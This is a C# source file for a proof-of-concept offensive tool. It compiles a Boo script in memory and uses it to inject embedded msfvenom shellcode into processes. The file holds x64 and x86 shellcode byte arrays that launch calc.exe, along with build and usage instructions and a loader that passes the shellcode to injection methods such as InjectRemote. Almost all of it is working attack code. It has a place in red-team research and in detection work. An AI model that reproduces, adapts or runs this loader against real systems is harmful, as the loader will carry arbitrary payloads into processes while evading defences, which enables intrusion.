runBoo.cs

using System;
using System.Text;
using System.Reflection;

using Boo.Lang.Compiler;
using Boo.Lang.Compiler.IO;
using Boo.Lang.Compiler.Pipelines;

/*
Author: Marcello Salvati (@byt3bl33d3r)
License: BSD 3-Clause

1) Download the latest stable version of Boolang https://github.com/boo-lang/boo/releases

2) In the directory with the Boolang DLLs compile with:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:Boo.Lang.Compiler.dll,Boo.Lang.dll,Boo.Lang.Parser.dll /t:exe runBoo.cs

3) Usage: runBoo.exe shellcode.boo <InjectionMethod> <x86|x64>
   Example: runBoo.exe shellcode.boo InjectRemote

See shellcode.boo for the injection methods available

This PoC won't work without the Boolang DLLs and shellcode.boo file in the same directory but you can easily fix that with a little C# trickery :)

References:
- https://github.com/boo-lang/boo/wiki/Scripting-with-the-Boo.Lang.Compiler-API
- https://github.com/boo-lang/boo/wiki/Invoke-Native-Methods-with-DllImport
- https://github.com/pwndizzle/c-sharp-memory-injection
*/

namespace ConsoleApplication1
{
    class Program
    {
        public static void Main(string[] args)
        {

            // msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f csharp
            byte[] sc64 = new byte[276] {
            0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
            0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
            0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
            0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
            0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
            0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
            0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
            0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
            0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
            0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
            0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
            0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
            0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
            0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
            0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
            0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
            0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
            0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
            0x63,0x2e,0x65,0x78,0x65,0x00 };

            // msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -f csharp
            byte[] sc86 = new byte[193] {
            0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
            0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
            0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
            0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
            0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
            0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
            0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
            0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
            0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
            0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
            0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
            0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
            0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };

            BooCompiler compiler = new BooCompiler();
            //compiler.Parameters.Input.Add(new StringInput("MyScript", "print 'Doot Doot'!")); :)
            compiler.Parameters.Input.Add(new FileInput(args[0]));
            compiler.Parameters.Pipeline = new CompileToMemory();
            compiler.Parameters.Ducky = true;

            CompilerContext context = compiler.Run();
            //Note that the following code might throw an error if the Boo script had bugs.
            //Poke context.Errors to make sure.
            if (context.GeneratedAssembly != null)
            {
                Type scriptModule = context.GeneratedAssembly.GetType("Inject");
                MethodInfo injectMain = scriptModule.GetMethod(args[1]);

                if (args.Length == 3)
                {
                    if (args[2] == "x86")
                    {
                        Console.WriteLine("Using x86 Shellcode");
                        string output = (string)injectMain.Invoke(null, new object[] {sc86} );
                    }
                }
                else
                {
                    Console.WriteLine("Using x64 Shellcode");
                    string output = (string)injectMain.Invoke(null, new object[] {sc64} );
                    Console.WriteLine(output);
                }
            }
            else
            {
                foreach (CompilerError error in context.Errors)
                    Console.WriteLine(error);
            }

            Console.WriteLine("Boo!");
        }
    }
}